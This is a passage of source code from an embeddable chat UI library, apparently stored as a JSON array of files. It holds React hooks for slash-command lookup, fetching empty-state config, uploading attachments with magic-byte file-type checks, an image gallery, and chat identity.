prefix it answers. That tag is what makes BOTH\n  // outputs derivable: \"no prefix\" and \"a prefix whose answer has not landed\n  // yet\" are the empty list and the loading flag respectively, so the effect no\n  // longer writes either of them synchronously — it used to clear the list AND\n  // raise the loading flag from its own body, two render passes per keystroke\n  // on a dropdown that is already re-rendering for the keystroke.\n  const [answered, setAnswered] = useState<{ prefix: string; commands: SlashCommandSummary[] } | null>(null);\n  const commands = prefix != null && answered?.prefix === prefix ? answered.commands : NO_COMMANDS;\n  const loading = prefix != null && answered?.prefix !== prefix;\n\n  useEffect(() => {\n    if (prefix == null) return undefined;\n    let cancelled = false;\n    const ctrl = new AbortController();\n    // Named async function rather than an async timer callback: `setTimeout`\n    // throws away what its callback returns, so a rejection would escape as an\n    // unhandled one. The body below already catches its own failures; the\n    // handler on the call site is the net for anything else (a throwing state\n    // setter), which must not leave `loading` stuck true.\n    const runFetch = async () => {\n      try {\n        const next = await fetchSlashCommands(prefix, ctrl.signal, commandsUrl);\n        if (!cancelled) setAnswered({ prefix, commands: next });\n      } catch (err) {\n        // AbortError on dep-change / unmount is expected; log others.\n        if (!cancelled && (err as Error)?.name !== 'AbortError') {\n          console.warn('[use-slash-commands] fetch failed:', err);\n          // Answer the prefix with an empty list anyway: `loading` is derived\n          // from \"this prefix has no answer yet\", so leaving it unanswered\n          // would spin forever instead of degrading to \"no commands\".\n          setAnswered({ prefix, commands: NO_COMMANDS });\n        }\n      }\n    };\n    const handle = setTimeout(() => {\n      runFetch().catch((err: unknown) => {\n        console.warn('[use-slash-commands] unexpected failure:', err);\n      });\n    }, 150);\n    return () => {\n      cancelled = true;\n      ctrl.abort();\n      clearTimeout(handle);\n    };\n  }, [prefix, commandsUrl]);\n\n  return { commands, loading };\n}\n\n/**\n * The full slash-command registry (empty-prefix fetch), shared via\n * react-query so every consumer in one chat surface dedupes to a SINGLE\n * network request.\n *\n * Keyed on `commandsUrl` ALONE — the request sends no `source` param (the\n * hub resolves source server-side), so the URL fully determines the\n * response. Both the onboarding-card list in `<EmbeddableChat>` and the\n * SSE adapter's `displayRef` table lookup read from this one cache entry\n * instead of each firing their own `fetchSlashCommands('')`.\n *\n * `staleTime`/`gcTime: Infinity` → static per session, so toggling modes\n * or remounting the (close-on-unmount) drawer reads from cache, never\n * refetches.\n *\n * `enabled` gates the live fetch: pass `activeMode === 'guide'` (or the\n * SSE adapter's `active` flag) so opening the panel in Mingo mode does\n * NOT hit the commands endpoint at all.\n */\nexport function useSlashCommandRegistry(\n  commandsUrl: string,\n  options?: { enabled?: boolean },\n): { commands: SlashCommandSummary[]; loading: boolean; loaded: boolean } {\n  const query = useQuery({\n    queryKey: ['chat-slash-commands', commandsUrl],\n    queryFn: ({ signal }) => fetchSlashCommands('', signal, commandsUrl),\n    enabled: options?.enabled ?? true,\n    staleTime: Infinity,\n    gcTime: Infinity,\n    // The commands registry is non-critical chrome — a failure degrades to an\n    // empty registry (handled in `fetchSlashCommands`). Don't retry: settle to\n    // the neutral empty state immediately so a flaky endpoint never holds the\n    // welcome UI in a loading spinner.\n    retry: false,\n  });\n  return {\n    commands: query.data ?? [],\n    loading: query.isLoading,\n    // \"Loaded\" = the fetch has settled, or it isn't running (disabled).\n    loaded: !query.isLoading,\n  };\n}\n","'use client';\n\n/**\n * Client-side hook + helper for the per-platform chat empty-state config.\n *\n * The runtime sibling of `use-slash-commands`. Where the in-app (host-mode)\n * chat receives `emptyStateGreeting` / `suggestedQueries` / `enabledRagTableIds`\n * as SSR props, a cross-origin EMBEDDER has no server hop — it fetches the\n * same three values from the host's `/api/docs/empty-state` endpoint (URL\n * threaded via `useChatRuntime().endpoints.emptyStateUrl`).\n *\n * The lib never depends on hub-internal route paths — the caller threads the\n * URL, exactly like `fetchSlashCommands`.\n */\n\nimport { useQuery } from '@tanstack/react-query';\nimport { embedAuthedFetch } from '../../../utils/embed-authed-fetch';\n\n/** A structured empty-state quick-action chip — `{ id, label, prompt }` plus an\n *  optional icon (library-glyph name, uploaded URL, or icon props). Mirrors the\n *  hub's `AiAgentQuickActionChip` / the SSR `guideWelcome.quickActions` shape so\n *  the fetched (embed) and prop-injected (host) paths render identically. */\nexport interface EmptyStateQuickAction {\n  id: string;\n  label: string;\n  prompt: string;\n  iconName?: string | null;\n  iconUrl?: string | null;\n  iconProps?: Record<string, unknown> | null;\n}\n\n/** An identity icon (agent mode) — library-glyph name, uploaded URL, or icon\n *  props. Resolved via `<EntityIcon>` as the empty-state glyph. */\nexport interface EmptyStateIcon {\n  name?: string | null;\n  url?: string | null;\n  props?: Record<string, unknown> | null;\n}\n\n/** Wire shape of `GET /api/docs/empty-state` (and the FLAT agent config from\n *  `GET /api/ai-agents/[slug]`, a superset). */\nexport interface EmptyStateConfig {\n  /** Agent DISPLAY NAME — shown as the empty-state title + panel header. ONLY\n   *  the agent public config (`/api/ai-agents/:slug`) emits this; the platform\n   *  empty-state endpoint does NOT, so a non-agent Guide chat keeps its built-in\n   *  \"Guide Mode Chat\" / \"Mingo Guide\" copy. */\n  name: string | null;\n  /** Agent identity ICON — the configurable glyph shown on the empty state.\n   *  Same agent-only provenance as `name`. Null → built-in Mingo mark. */\n  icon: EmptyStateIcon | null;\n  /** Admin-edited greeting (`chat_admin_personas.empty_state_greeting`).\n   *  Null → caller falls back to the explicit prop / in-code default. */\n  greeting: string | null;\n  /** Override-aware enabled RAG-table ids — the chip-catalog filter. */\n  enabledRagTableIds: string[];\n  /** Admin-curated quick actions — the empty-state chips WITH icons. This is the\n   *  primary field both endpoints emit; the chat prefers it over\n   *  `suggestedQueries` so embed chips carry icons (matches the host SSR path). */\n  quickActions: EmptyStateQuickAction[];\n  /** Legacy string-only starter prompts (= `quickActions.map(q => q.prompt)` on\n   *  the agent endpoint; absent on the empty-state endpoint). Kept as a fallback\n   *  for older backends that emit only strings. */\n  suggestedQueries: string[];\n}\n\nconst EMPTY_STATE_FALLBACK: EmptyStateConfig = {\n  name: null,\n  icon: null,\n  greeting: null,\n  enabledRagTableIds: [],\n  quickActions: [],\n  suggestedQueries: [],\n};\n\n/**\n * Fetch the empty-state config for the CURRENT deployment platform. The\n * chat source is server-resolved — the client sends NO `source` param.\n *\n * URL + auth handling mirror `fetchSlashCommands`: `new URL(url, origin)`\n * supports relative (proxied) and absolute paths, and `embedAuthedFetch`\n * attaches the same bearer-act-as + 401 self-heal as every other endpoint.\n *\n * On any non-2xx (auth / rate-limit / chat-disabled) returns the neutral\n * fallback so the empty state silently renders in-code defaults rather than\n * surfacing 401/403/429 toasts.\n */\nexport async function fetchEmptyStateConfig(\n  signal: AbortSignal | undefined,\n  emptyStateUrl: string,\n): Promise<EmptyStateConfig> {\n  try {\n    const url = new URL(emptyStateUrl, window.location.origin);\n    // Bare GET, no body → opt out of the default `Content-Type: application/json`.\n    const res = await embedAuthedFetch(url.toString(), { signal, headers: {} });\n    if (!res.ok) {\n      // 401/403/429/404 are expected (auth / rate-limit / chat-disabled) and stay\n      // silent. A 5xx is a real backend/proxy fault: still fall back gracefully so\n      // the empty state renders, but log it so operators can distinguish a broken\n      // empty-state proxy from \"admin configured nothing\".\n      if (res.status >= 500) {\n        console.error(`[chat] empty-state config fetch failed (${res.status}): ${url.pathname}`);\n      }\n      return EMPTY_STATE_FALLBACK;\n    }\n    const data = (await res.json()) as Partial<EmptyStateConfig> | null;\n    return {\n      name: data?.name ?? null,\n      icon: data?.icon ?? null,\n      greeting: data?.greeting ?? null,\n      enabledRagTableIds: data?.enabledRagTableIds ?? [],\n      quickActions: data?.quickActions ?? [],\n      suggestedQueries: data?.suggestedQueries ?? [],\n    };\n  } catch (err) {\n    // Cancellation (unmount / dep change) MUST propagate so react-query treats\n    // it as cancelled. Every OTHER failure (network down, proxy reject, non-JSON\n    // body) degrades to the neutral fallback so a flaky empty-state endpoint can\n    // NEVER break the chat — the empty state just renders the in-code defaults.\n    if ((err as Error)?.name === 'AbortError') throw err;\n    console.warn('[chat] empty-state config fetch failed, using neutral defaults:', err);\n    return EMPTY_STATE_FALLBACK;\n  }\n}\n\n/**\n * Shared empty-state config (single fetch per chat surface), via react-query\n * so every consumer dedupes to ONE request. Keyed on `emptyStateUrl` ALONE —\n * the request sends no `source` param (resolved server-side), so the URL\n * fully determines the response.\n *\n * `staleTime`/`gcTime: Infinity` → static per session (toggling modes or\n * remounting the drawer reads from cache, never refetches).\n *\n * `enabled` gates the live fetch: pass `false` (e.g. when `emptyStateUrl` is\n * unset, host-mode) to skip the network call entirely; the hook then returns\n * the neutral fallback and `loaded: true`.\n */\nexport function useEmptyStateConfig(\n  emptyStateUrl: string | undefined,\n  options?: { enabled?: boolean },\n): { config: EmptyStateConfig; loading: boolean; loaded: boolean } {\n  const enabled = (options?.enabled ?? true) && !!emptyStateUrl;\n  const query = useQuery({\n    queryKey: ['chat-empty-state', emptyStateUrl],\n    queryFn: ({ signal }) => fetchEmptyStateConfig(signal, emptyStateUrl as string),\n    enabled,\n    staleTime: Infinity,\n    gcTime: Infinity,\n    // The empty-state config is non-critical chrome — a failure degrades to the\n    // neutral fallback (handled in `fetchEmptyStateConfig`). Don't retry: settle\n    // immediately so a flaky endpoint never holds the welcome in a spinner.\n    retry: false,\n  });\n  return {\n    config: query.data ?? EMPTY_STATE_FALLBACK,\n    loading: query.isLoading && enabled,\n    // \"Loaded\" = settled, or not running (disabled / no URL).\n    loaded: !enabled || !query.isLoading,\n  };\n}\n","'use client';\n\n/**\n * Chat-attachment upload state machine.\n *\n * Multi-file state (precedent: hub `components/blog/image-upload-manager.tsx`).\n * Magic-byte sniff via `file-type` BEFORE upload (rejects extension\n * spoofs like `evil.exe` renamed `screenshot.png`). Per-attachment\n * `AbortController` for clean remove-mid-upload.\n *\n * Auth propagation:\n *   - `embedAuthedFetch` carries bearer-act-as headers + Supabase\n *     session cookies — used both for minting the upload URL and as\n *     the auth path before falling through to the signed PUT.\n *   - The byte-PUT to the signed URL uses an inline `uploadWithProgress`\n *     XHR helper (ported from the hub `unified-upload-service`) so the\n *     lib-side chat hook is self-contained.\n *\n * URL endpoint: `runtime.endpoints.attachmentUploadUrl` (hub default\n * `/api/storage/generate-upload-url`). Embedded apps override.\n *\n * Dedup: files keyed by `(name, size, lastModified)` — second pick of\n * the same file is silently ignored.\n */\n\nimport { fileTypeFromBlob } from 'file-type';\nimport { useCallback, useEffect, useMemo, useRef, useState } from 'react';\nimport { useRequiredChatRuntime } from '../../../contexts/chat-runtime-context';\nimport { embedAuthedFetch } from '../../../utils/embed-authed-fetch';\nimport { CHAT_ATTACHMENT_MIME_TYPES, CHAT_ATTACHMENT_CONCURRENT_UPLOADS_PER_USER } from '../chat-attachment-bar';\nimport type { ChatAttachment } from '../utils/chat-attachment-markdown';\n\n// ---------------------------------------------------------------------------\n// Inlined hub-side constants (single source of truth — `lib/config/\n// chat-attachment-config.ts` on the hub). Hard-coded here so the lib\n// hook is self-contained; if hub-side bumps the cap, update both.\n// ---------------------------------------------------------------------------\n\nconst CHAT_ATTACHMENTS_BUCKET = 'chat-attachments';\nconst CHAT_ATTACHMENTS_FOLDER = 'chat';\nconst CHAT_ATTACHMENT_MAX_SIZE_BYTES = 25 * 1024 * 1024;\n\n/** Cache-Control header for content-addressed uploads — Storage paths\n *  embed `{timestamp}-{random}-{filename}` so a given URL is immutable. */\nconst STORAGE_CACHE_CONTROL_IMMUTABLE = 'public, max-age=31536000, immutable';\n\ntype Status = 'sniffing' | 'uploading' | 'ready' | 'error';\n\n/** Internal staged-attachment shape (more fields than the wire\n *  `ChatAttachment` — carries state-machine metadata). */\nexport interface StagedAttachment {\n  /** Stable client-side id; survives across re-renders. */\n  id: string;\n  file: File;\n  status: Status;\n  /** Set when `status === 'ready'`. Server-issued. */\n  storagePath?: string;\n  /** Set when `status === 'ready'`. Server-issued HMAC view token. */\n  viewToken?: string;\n  /** 0-100 during 'uploading'. */\n  progress: number;\n  /** Set when `status === 'error'`. */\n  errorMessage?: string;\n}\n\n/** Response shape from `/api/storage/generate-upload-url`. */\ninterface UploadUrlResponse {\n  uploadUrl: string;\n  filePath: string;\n  token: string;\n  bucket: string;\n  publicUrl: string | null;\n  viewToken: string | null;\n}\n\ninterface UseChatAttachmentsApi {\n  attachments: StagedAttachment[];\n  /** All staged files in 'ready' state, projected to the wire\n   *  `ChatAttachment` shape — pass to `sendMessage`'s `pendingAttachments`. */\n  readyAttachments: ChatAttachment[];\n  /** True iff any attachment is mid-upload — Send button reads this\n   *  to disable itself. */\n  hasInflightUploads: boolean;\n  addFiles: (files: FileList | File[]) => void;\n  removeAttachment: (id: string) => void;\n  clear: () => void;\n}\n\n/**\n * Inline `uploadWithProgress` — XHR PUT to a Supabase signed-upload URL\n * with progress + abort support. Ported verbatim from the hub\n * `unified-upload-service.ts`. Maps the XHR 0-100 to the caller's 10-95\n * range (leaving 0-10 for the mint + 95-100 for state transitions).\n *\n * AbortSignal wiring: `signal?.addEventListener('abort', () => xhr.abort())`\n * — without this, calling `removeAttachment`/`clear()` aborts the\n * controller but the XHR runs to completion and bytes still land in\n * Supabase.\n */\nfunction uploadWithProgress(\n  url: string,\n  file: File,\n  token: string,\n  onProgress?: (progress: number) => void,\n  signal?: AbortSignal,\n): Promise<void> {\n  return new Promise((resolve, reject) => {\n    if (signal?.aborted) {\n      reject(new Error('Upload cancelled'));\n      return;\n    }\n    const xhr = new XMLHttpRequest();\n    let isCompleted = false;\n\n    // One `AbortController` detaches every listener at once, instead of a\n    // remove-list that named each handler. That list had to stay in lockstep\n    // with the add-list 40 lines below by hand — drift there leaks a listener\n    // on a completed upload — and naming the handlers here meant `cleanup`\n    // referenced six functions declared after it, in a cycle (they each call\n    // `cleanup`) that no reordering could untangle.\n    const listeners = new AbortController();\n    const cleanup = () => {\n      if (isCompleted) return;\n      isCompleted = true;\n      listeners.abort();\n      if (xhr.readyState !== XMLHttpRequest.DONE) xhr.abort();\n    };\n\n    const handleProgress = (event: ProgressEvent) => {\n      if (event.lengthComputable && onProgress) {\n        // Map 0-100 of network progress to 10-95.\n        const pct = 10 + (event.loaded / event.total) * 85;\n        onProgress(Math.round(pct));\n      }\n    };\n\n    const handleLoad = () => {\n      cleanup();\n      if (xhr.status >= 200 && xhr.status < 300) {\n        resolve();\n      } else {\n        reject(new Error(`Upload failed with status ${xhr.status}: ${xhr.responseText || xhr.statusText}`));\n      }\n    };\n\n    const handleError = () => {\n      cleanup();\n      reject(new Error('Network error during upload'));\n    };\n    const handleAbort = () => {\n      cleanup();\n      reject(new Error('Upload cancelled'));\n    };\n    const handleTimeout = () => {\n      cleanup();\n      reject(new Error('Upload timed out'));\n    };\n    const handleSignalAbort = () => {\n      xhr.abort();\n    };\n    signal?.addEventListener('abort', handleSignalAbort, { once: true, signal: listeners.signal });\n\n    xhr.upload.addEventListener('progress', handleProgress, { signal: listeners.signal });\n    xhr.addEventListener('load', handleLoad, { signal: listeners.signal });\n    xhr.addEventListener('error', handleError, { signal: listeners.signal });\n    xhr.addEventListener('abort', handleAbort, { signal: listeners.signal });\n    xhr.addEventListener('timeout', handleTimeout, { signal: listeners.signal });\n\n    xhr.open('PUT', url);\n    xhr.setRequestHeader('Authorization', `Bearer ${token}`);\n    // `x-upsert: true` — signed upload tokens can target the same path\n    // more than once on retry; without this header, Storage returns 409\n    // on the second attempt instead of overwriting.\n    xhr.setRequestHeader('x-upsert', 'true');\n    xhr.setRequestHeader('Content-Type', file.type);\n    xhr.setRequestHeader('cache-control', STORAGE_CACHE_CONTROL_IMMUTABLE);\n    xhr.timeout = 30 * 60 * 1000;\n    xhr.send(file);\n  });\n}\n\nexport function useChatAttachments(): UseChatAttachmentsApi {\n  const runtime = useRequiredChatRuntime();\n  const uploadUrlEndpoint = runtime.endpoints.attachmentUploadUrl;\n\n  const [attachments, setAttachments] = useState<StagedAttachment[]>([]);\n  // AbortControllers indexed by attachment id. Survives re-renders.\n  const controllersRef = useRef<Map<string, AbortController>>(new Map());\n\n  const updateOne = useCallback((id: string, patch: Partial<StagedAttachment>) => {\n    setAttachments(prev => prev.map(a => (a.id === id ? { ...a, ...patch } : a)));\n  }, []);\n\n  const removeAttachment = useCallback((id: string) => {\n    // Abort any in-flight work for this attachment.\n    const ctrl = controllersRef.current.get(id);\n    if (ctrl) {\n      ctrl.abort();\n      controllersRef.current.delete(id);\n    }\n    setAttachments(prev => prev.filter(a => a.id !== id));\n  }, []);\n\n  const clear = useCallback(() => {\n    for (const ctrl of controllersRef.current.values()) ctrl.abort();\n    controllersRef.current.clear();\n    setAttachments([]);\n  }, []);\n\n  const uploadOne = useCallback(\n    async (att: StagedAttachment) => {\n      const ctrl = controllersRef.current.get(att.id);\n      try {\n        // 1. Magic-byte sniff. The `file` ARG is a Blob; `fileTypeFromBlob`\n        //    reads the first few KB. Rejects extension spoofs.\n        let sniffed: { mime: string } | undefined;\n        try {\n          sniffed = await fileTypeFromBlob(att.file);\n        } catch (err) {\n          if (ctrl?.signal.aborted) return;\n          throw new Error(`Could not read file content: ${err instanceof Error ? err.message : String(err)}`);\n        }\n        if (ctrl?.signal.aborted) return;\n        if (!sniffed) {\n          throw new Error('Unrecognized file format');\n        }\n        const actualMime = sniffed.mime;\n        if (!(CHAT_ATTACHMENT_MIME_TYPES as readonly string[]).includes(actualMime)) {\n          throw new Error(\n            `File type \"${actualMime}\" is not allowed. ` + `Allowed: ${CHAT_ATTACHMENT_MIME_TYPES.join(', ')}`,\n          );\n        }\n\n        // 2. Move to 'uploading' and POST the URL-mint request with\n        //    bearer-act-as headers (if present).\n        updateOne(att.id, { status: 'uploading', progress: 5 });\n\n        const urlResp = await embedAuthedFetch(uploadUrlEndpoint, {\n          method: 'POST',\n          headers: { 'Content-Type': 'application/json' },\n          signal: ctrl?.signal,\n          body: JSON.stringify({\n            fileName: att.file.name,\n            // Pass the SNIFFED MIME (not `file.type`, which can be a\n            // user-supplied lie) so the server's MIME pre-validation\n            // matches reality.\n            fileType: actualMime,\n            bucket: CHAT_ATTACHMENTS_BUCKET,\n            folder: CHAT_ATTACHMENTS_FOLDER,\n          }),\n        });\n\n        if (!urlResp.ok) {\n          // `.json()` is `any`; the body is whatever the route (or a gateway\n          // error page) chose to send. Gate `error` on being a NON-EMPTY\n          // STRING — unchecked, a structured `{ error: { code } }` body became\n          // the Error's message and the upload failed with the literal text\n          // \"[object Object]\" instead of the status line.\n          const errBody: unknown = await urlResp.json().catch(() => null);\n          const serverError =\n            typeof errBody === 'object' && errBody !== null ? (errBody as { error?: unknown }).error : undefined;\n          throw new Error(\n            typeof serverError === 'string' && serverError\n              ? serverError\n              : `Failed to mint upload URL: ${urlResp.statusText}`,\n          );\n        }\n\n        const mintData = (await urlResp.json()) as UploadUrlResponse;\n        if (!mintData.viewToken) {\n          throw new Error('Server did not return a viewToken for the chat-attachments bucket');\n        }\n\n        // 3. PUT the bytes via inline `uploadWithProgress`.\n        await uploadWithProgress(\n          mintData.uploadUrl,\n          att.file,\n          mintData.token,\n          pct => {\n            updateOne(att.id, { progress: pct });\n          },\n          ctrl?.signal,\n        );\n\n        if (ctrl?.signal.aborted) return;\n\n        // 4. Mark ready.\n        updateOne(att.id, {\n          status: 'ready',\n          progress: 100,\n          storagePath: mintData.filePath,\n          viewToken: mintData.viewToken,\n        });\n      } catch (err) {\n        if (ctrl?.signal.aborted) return;\n        const message = err instanceof Error ? err.message : String(err);\n        updateOne(att.id, { status: 'error', progress: 0, errorMessage: message });\n      } finally {\n        controllersRef.current.delete(att.id);\n      }\n    },\n    [uploadUrlEndpoint, updateOne],\n  );\n\n  // `attachmentsRef` mirrors the staged set for SYNCHRONOUS reads\n  // during `addFiles`. Two assignment sites keep it in lockstep:\n  //   (a) an unconditional effect re-syncs it after every COMMIT —\n  //       picks up state mutations from `updateOne` / `removeAttachment`\n  //       / `clear`. In an effect, not the render body: `addFiles` is a\n  //       user gesture, so it is always past a commit, and a render\n  //       attempt React discards must not be able to publish a staged\n  //       set that never existed.\n  //   (b) `attachmentsRef.current = [...attachmentsRef.current,\n  //       ...additions]` INSIDE `addFiles` BEFORE `setAttachments`\n  //       commits — guarantees a SECOND `addFiles` call in the same\n  //       tick sees the first call's additions for dedup.\n  const attachmentsRef = useRef<StagedAttachment[]>([]);\n  useEffect(() => {\n    attachmentsRef.current = attachments;\n  });\n\n  const addFiles = useCallback(\n    (files: FileList | File[]) => {\n      const arr = Array.from(files);\n      if (arr.length === 0) return;\n\n      // Compute additions OUTSIDE the setState updater — the updater\n      // must be a pure function. React 18 StrictMode invokes updaters\n      // TWICE in dev; concurrent transitions can do the same in prod.\n      // If side effects (UUID gen, controllerRef.set, uploadOne) lived\n      // inside, each render double-fired the upload.\n      const prev = attachmentsRef.current;\n      const seen = new Set(prev.map(a => `${a.file.name}|${a.file.size}|${a.file.lastModified}`));\n      const additions: StagedAttachment[] = [];\n      // `error`-status chips don't count toward the cap — they're\n      // visual diagnostics, not active uploads. Without this filter\n      // a single oversized-file mistake would block the user from\n      // adding further files until they manually `×` the error chip.\n      const remainingSlots = Math.max(\n        0,\n        CHAT_ATTACHMENT_CONCURRENT_UPLOADS_PER_USER - prev.filter(a => a.status !== 'error').length,\n      );\n      for (const file of arr) {\n        if (additions.length >= remainingSlots) break;\n        const key = `${file.name}|${file.size}|${file.lastModified}`;\n        if (seen.has(key)) continue;\n\n        // Size pre-check — server-side bucket policy is the\n        // authoritative gate, but rejecting here saves the user a\n        // round-trip on obviously-too-big files.\n        if (file.size > CHAT_ATTACHMENT_MAX_SIZE_BYTES) {\n          additions.push({\n            id: crypto.randomUUID(),\n            file,\n            status: 'error',\n            progress: 0,\n            errorMessage: `File too large (${(file.size / 1024 / 1024).toFixed(1)} MB; max 25 MB)`,\n          });\n          seen.add(key);\n          continue;\n        }\n\n        additions.push({\n          id: crypto.randomUUID(),\n          file,\n          status: 'sniffing',\n          progress: 0,\n        });\n        seen.add(key);\n      }\n\n      if (additions.length === 0) return;\n\n      // SYNCHRONOUSLY update the ref BEFORE the React commit. Without\n      // this, a second `addFiles` call in the SAME tick (paste-then-drop\n      // browser event sequence; touch-then-mouse on iOS hybrid; double\n      // user clicks on the chip-strip's hidden file input) would read\n      // the same stale `attachmentsRef.current` and bypass dedup.\n      attachmentsRef.current = [...prev, ...additions];\n\n      // Register AbortControllers + kick off uploads BEFORE the state\n      // commit. The XHR doesn't depend on React state; `uploadOne`'s\n      // `updateOne` calls are queued behind this `setAttachments`,\n      // so by the time the first progress callback fires React has\n      // already rendered the new chips.\n      for (const a of additions) {\n        if (a.status === 'sniffing') {\n          const ctrl = new AbortController();\n          controllersRef.current.set(a.id, ctrl);\n          void uploadOne(a);\n        }\n      }\n\n      // Pure updater — no side effects, idempotent under StrictMode\n      // double-invocation.\n      setAttachments(p => [...p, ...additions]);\n    },\n    [uploadOne],\n  );\n\n  // Memoized so `handleSend`'s `useCallback([readyAttachments, ...])`\n  // doesn't re-create the handler (and re-render `ChatInput`) on every\n  // unrelated re-render. Stable reference while the underlying\n  // attachments array is unchanged.\n  const readyAttachments: ChatAttachment[] = useMemo(\n    () =>\n      attachments\n        .filter(\n          (a): a is StagedAttachment & { storagePath: string; viewToken: string } =>\n            a.status === 'ready' && !!a.storagePath && !!a.viewToken,\n        )\n        .map(a => ({\n          storagePath: a.storagePath,\n          viewToken: a.viewToken,\n          contentType: a.file.type,\n          fileName: a.file.name,\n          size: a.file.size,\n        })),\n    [attachments],\n  );\n\n  const hasInflightUploads = attachments.some(a => a.status === 'sniffing' || a.status === 'uploading');\n\n  return {\n    attachments,\n    readyAttachments,\n    hasInflightUploads,\n    addFiles,\n    removeAttachment,\n    clear,\n  };\n}\n","'use client';\n\n/**\n * Click-to-expand handler for chat-attachment images in the chat thread.\n *\n * Returns `{ panelRef, modal }`:\n *   - `panelRef` — attach to the chat content wrapper. The hook\n *     installs a delegated `click` listener on this ref.\n *   - `modal` — render as a sibling of the chat panel (so it lives\n *     OUTSIDE any overflow-hidden message bubbles). Returns `null`\n *     while closed.\n *\n * Behavior on click:\n *   1. Filter for `<img>` whose `src` starts with the runtime's\n *      `attachmentViewUrlPrefix` (so non-chat images don't intercept).\n *   2. Walk up to the nearest `[data-message-role]` ancestor — the\n *      boundary the chat-shell wraps each message bubble with.\n *   3. Collect ALL chat-attachment `<img>`s inside that boundary in\n *      DOM order. Compute the clicked index for `initialIndex`.\n *   4. Open `ImageGalleryModal` (UI-Kit, also used by\n *      `roadmap-card.tsx` for screenshot expansion).\n *\n * The hook deliberately owns the click DOM-walk + modal state so\n * the host component consumes a single `{panelRef, modal}` API.\n */\n\nimport { useCallback, useEffect, useRef, useState } from 'react';\nimport { useRequiredChatRuntime } from '../../../contexts/chat-runtime-context';\nimport { ImageGalleryModal } from '../../ui/image-gallery-modal';\n\ninterface GalleryState {\n  isOpen: boolean;\n  images: string[];\n  initialIndex: number;\n}\n\nconst CLOSED: GalleryState = { isOpen: false, images: [], initialIndex: 0 };\n\nexport function useChatAttachmentImageGallery() {\n  const runtime = useRequiredChatRuntime();\n  const viewUrlPrefix = runtime.endpoints.attachmentViewUrlPrefix;\n  const panelRef = useRef<HTMLDivElement | null>(null);\n  const [state, setState] = useState<GalleryState>(CLOSED);\n\n  const handleClose = useCallback(() => setState(CLOSED), []);\n\n  useEffect(() => {\n    const root = panelRef.current;\n    if (!root) return undefined;\n\n    const onClick = (ev: Event) => {\n      const target = ev.target as HTMLElement | null;\n      if (!target) return;\n      // Match an <img> whose `src` starts with the proxy URL prefix.\n      const img = target.closest('img');\n      if (!img || !img.src.startsWith(absolutize(viewUrlPrefix))) return;\n\n      // Walk up to the message-bubble boundary.\n      const bubble = img.closest('[data-message-role]');\n      if (!bubble) {\n        // Fallback: open the modal with just the clicked image.\n        ev.preventDefault();\n        setState({ isOpen: true, images: [img.src], initialIndex: 0 });\n        return;\n      }\n\n      // Collect all chat-attachment images inside this bubble in DOM\n      // order. The `closest` lookup matched img.src.startsWith already,\n      // but we re-check below because `querySelectorAll` returns ALL\n      // <img>s in the bubble (avatar images etc.).\n      const allImgs = Array.from(bubble.querySelectorAll('img'));\n      const matching = allImgs.filter(el => el.src.startsWith(absolutize(viewUrlPrefix)));\n      if (matching.length === 0) return;\n\n      const idx = Math.max(0, matching.indexOf(img));\n      ev.preventDefault();\n      setState({\n        isOpen: true,\n        images: matching.map(el => el.src),\n        initialIndex: idx,\n      });\n    };\n\n    root.addEventListener('click', onClick);\n    return () => root.removeEventListener('click', onClick);\n  }, [viewUrlPrefix]);\n\n  // `ImageGalleryModal` doesn't accept `null` for `images` — render\n  // it only when open. Closing returns `null` so the modal unmounts\n  // and React garbage-collects any blob URLs it might hold.\n  const modal = state.isOpen ? (\n    <ImageGalleryModal\n      images={state.images}\n      isOpen={state.isOpen}\n      onClose={handleClose}\n      initialIndex={state.initialIndex}\n    />\n  ) : null;\n\n  return { panelRef, modal };\n}\n\n/** Absolutize a prefix for comparison against `<img>.src`. Browsers\n *  resolve `<img src=\"/api/storage/view/...\">` to an absolute URL when\n *  reading `.src` — we need the same shape on the prefix to match.\n *\n *  Embedded apps that supply an absolute prefix already work as-is\n *  (the prefix matches `.src` directly). For relative prefixes (host\n *  mode), prefix with `window.location.origin`. */\nfunction absolutize(prefix: string): string {\n  if (prefix.startsWith('http://') || prefix.startsWith('https://')) return prefix;\n  if (typeof window === 'undefined') return prefix;\n  return `${window.location.origin}${prefix.startsWith('/') ? '' : '/'}${prefix}`;\n}\n","'use client';\n\n/**\n * Chat-identity capability hook.\n *\n * Surfaces the `{authTier, source, attachmentsEnabled, user}` bag for\n * the CURRENT chat session so client code can gate UI elements\n * (attachment button, drawer composer, /tickets gate) on chat-side\n * identity tiers WITHOUT sending a chat message first.\n *\n * Server-side parity: the host's identity endpoint (hub default\n * `/api/auth/identity`, override via `runtime.endpoints.identityUrl`)\n * runs the same 3-tier `requireChatAuth` chain the chat itself uses.\n * `attachmentsEnabled` is computed server-side as\n * `authTier !== 'anon' AND isSelfScopedSource(source)` — single\n * source of truth, consumers don't combine the fields themselves.\n *\n * **Implementation: plain `useEffect` + `useState`. NO CLIENT-SIDE\n * CACHE.** Every consumer that needs identity gets it DRILLED IN\n * from a parent that already gates on `identity.user?.email` — the\n * tickets surface uses this pattern in `HelpCenterListAuthed` /\n * `TicketCenterAuthed` / `HelpCenterCreateForm`. A previous attempt\n * to layer TanStack Query on this hook was reverted because:\n *   1. Client caches drift from server truth (empty-state flashes,\n *      stale identity across credential rotations)\n *   2. Drilling identity through props is the explicit data-flow\n *      pattern the rest of the lib uses\n *   3. The fetch is cheap and short — no perf justification for a\n *      cache layer\n *\n * For INDEPENDENT surfaces that can't share identity through props because\n * they live in different React subtrees (e.g. a persistent chat widget in\n * the app shell + a tickets page in the router outlet), mount the optional\n * `<ChatIdentityProvider>` (below) near the embed root. It lifts the SAME\n * resolver into ONE shared resolution for the whole subtree — still no cache\n * (see the provider's own doc), just the drill-from-parent pattern\n * formalized as a provider. Omit it and every consumer self-fetches (the\n * hub's behavior, unchanged).\n *\n * Endpoint URL: read from `useRequiredChatRuntime().endpoints.identityUrl`\n * so embedded apps with their own reverse-proxy topology can override.\n */\n\nimport { createContext, createElement, useContext, useEffect, useState, type ReactNode } from 'react';\nimport { useRequiredChatRuntime } from '../../../contexts/chat-runtime-context';\nimport { embedAuthedFetch } from '../../../utils/embed-authed-fetch';\nimport { getEmbedProxyAuth } from '../../../utils/embed-proxy-auth-storage';\n\n/**\n * Wire-shape for the identity route response. Mirrors the hub's\n * `ChatIdentityResponse` (in `app/api/auth/identity/route.ts`) —\n * kept in sync there. Lib-side declaration so the chat panel can\n * compile without depending on hub-internal types.\n */\nexport interface ChatIdentityResponse {\n  authTier: 'session' | 'bearer-act-as' | 'anon';\n  source: string | 